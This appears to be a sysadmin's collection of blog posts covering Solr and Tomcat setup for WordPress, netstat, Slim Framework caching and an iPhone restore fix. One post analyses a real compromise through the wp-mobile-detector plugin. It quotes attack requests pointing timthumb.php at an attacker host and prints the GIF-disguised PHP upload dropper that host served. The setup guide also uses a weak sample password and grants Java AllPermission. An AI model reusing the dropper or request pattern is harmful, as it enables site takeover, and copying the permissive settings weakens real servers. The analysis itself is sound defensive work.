Solr and WordPress (instructions/howto)

This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see github ).

Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can’t use it).

Install Tomcat (and Java)

apt-get install sun-java6-jre

Edit /etc/profile and set a JAVA_HOME – so add in something like :

# Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre

And then do :

. /etc/profile
So those settings are set / present within your environment (or logout and back in).

Next, install Tomcat :

apt-get install tomcat5.5
and then
apt-get install tomcat5.5-admin

Configure Tomcat

Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you’ll need to give the user a role of admin and manager.

e.g.

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
  <role rolename="manager"/>
  <role rolename="tomcat"/>
  <role rolename="admin"/>
  <role rolename="role1"/>
  <user username="palepurple" password="letmein" roles="admin,manager,tomcat"/>
</tomcat-users>

And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.

In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop – this is just to improve security.

Finally, it seems necessary to grant permission for Java to log to /var/log/tomcat5.5… .a dirty way of achieving this is to edit :

/etc/java-6-sun/security/java.policy

and add in (near the top)

grant {
	permission java.security.AllPermission;
};

(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it’s an acceptable fix; I’m sure Google can provide more eloquent fixes.).

 

Installing Solr

Download; unpack and install .war file :

cd /root
wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz
tar -zxf apache-solr-3.4.0.tgz
cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps

If you now restart Solr, you’ll find some log files and stuff of use in /var/log/tomcat5.5 – looking in the catalina log file there you’ll see it moaning about not finding solrconfig.xml and so on. To fix this –

cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/

And edit /etc/default/tomcat55 to contain :

export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"

This tells Solr where to find it’s configuration and so on.

Then edit :

/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included – so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) – part of the solrconfig.xml is below :

  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" />
  <!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" />
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" />

  <!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    -->
  <lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" />

Next create the data directory for solr to use :

mkdir /var/lib/tomcat5.5/solr/data
chown tomcat55 /var/lib/tomcat5.5/solr/data

And restart tomcat.

At this point you should be able to visit :

http://localhost:8180/apache-solr-3.4.0/admin/

If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log

WordPress stuff

cd /path/to/wordpress/wp-content/plugins

git clone https://github.com/mattweber/solr-for-wordpress.git

cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/

<<restart tomcat again; /etc/init.d/tomcat5.5. restart >>

Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you’re off.

  1.  Enable plugin
  2. Goto settings -> solr options -> select single server; tell it to use localhost, port 8180 and under the path ‘/apache-solr-3.4.0’
  3.  Perform the ‘server ping’ check; and then tell WordPress you want to index your pages/posts etc as you see fit.

netstat –tcp -lp output not showing a process id

I often use ‘netstat –tcp -lpn’ to display a list of open ports on a server – so i can check things aren’t listening where they shouldn’t be (e.g. MySQL accepting connections from the world) and so on. Obviously I firewall boxes; but I like to have a reasonable default incase the firewall decides to flush itself randomly or whatever.

Anyway, I ran ‘netstat –tcp -lpn’ and saw something like the following :

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      3355/mysqld     
tcp        0      0 0.0.0.0:54283           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1940/portmap

Now ‘mysqld’ looks OK – and portmap does (well, I need it on this box). But what on earth was listening on port 54283, and why is there no process name/pid attached to it?

After lots of rummaging, and paranoia where I thought perhaps the box had been rooted, I discovered it was from an NFS mount (which explains the lack of a pid, as it’s kernel based).

lsof -i tcp:54283

Didn’t help either. Unmounting the NFS filesystem did identify the problem – and the entry went away.

wp-mobile-detector is insecure (wordpress plugin)

It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm}

A customer’s web server has the following requests in it :

[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"

_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.

Making a request to superflickr.com.nu shows  :

$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;<?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?>;

Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :

$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);

But it’s check is somewhat flawed –

                        
foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}

Hence, superflickr.com.nu escapes through, as it contains the string ‘flickr.com’.

And then, because it performs an ‘md5’ of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the ‘cache’ directory would have solved this.

Alternatively the developers could have bothered to check the extension of the URL being retrieved….

Slim Framework – using middleware for page caching in the front controller

The SlimFramework is a ‘minimal’ PHP5 framework. We’re using it in one project, integrating with Smarty, Propel and the Zend Framework (as I don’t like Zend_View, it didn’t seem worth using Zend_Controller_Action, although what we do have is very similar to one).

Anyway, when creating your front controller in Slim, you can define ‘middleware‘ (i.e. call back functions) which are executed when a route matches and runs – before your actual ‘controller’ code.

So for example, a simple route would look like :

Slim::get('/route/path/to/match', function() { echo "some output goes here"; }; );

With additional ‘middleware’ it could look like :

Slim::get('/routeh/path/to/match', $caching_middleware, $authentication_check, function() { echo "some output goes here";}; );

(Obviously in a real application you wouldn’t have echo statements in the front controller class)

The $caching_middleware could look like :

$cache_it = function () {
    $cache = Zend_Cache::factory('Page', 'File',
        array('debug_header' => true,
              'default_options' => array('cache' => true,
                                         'cache_with_get_parameters' => false,
                                         'cache_with_session_variables' => true,
                                         'cache_with_cookie_variables' => true),
        ));
    $cache->start();
};

(I’ve left the debug_header in, so it’s obvious when it’s working 🙂 ).

And $authentication_check is another call back – this time presumably checking $_SESSION for something….

Ebuyer & ParcelForce – a story in how not to treat your customer

5-6 weeks ago ago I ordered two 24″ widescreen monitors from EBuyer – when the ParcelForce guy delivered them I told him I expected 2, and there was only one delivered. He walked off. I presumed that the other would arrive the next day or something… but it didn’t.

while(true) {
     David.ContactsEBuyerViaStupidENoteSystem(‘rah rah rah where is my missing monitor?’);
     EBuyer.stallForAFewDays();
     EBuyer.replies(‘We’re checking ‘ + excuse.random([‘Warehouse’, ‘Parcel Force’]) + ‘ and apologise … blah blah blah’);
}
5-6 weeks later, there is no sight of the monitor….
Not impressed.

Upgrading iPhone – the iphone could not be restored an unknown error occurred 1013

On seeing JailBreakMe has released a new version – which allows me to upgrade to the 4.3.3 firmware – I thought I’d update my iPhone4 – but annoyingly kept getting the following error message (whether doing an update or a full restore) :

“The iphone could not be restored an unknown error occurred 1013”

In my case, the fix was to edit /etc/hosts (OSX) and comment out / remove an entry for :

74.208.10.249 gs.apple.com

I have a feeling this was put there by TinyUmbrella or something, but nevermind. It works now.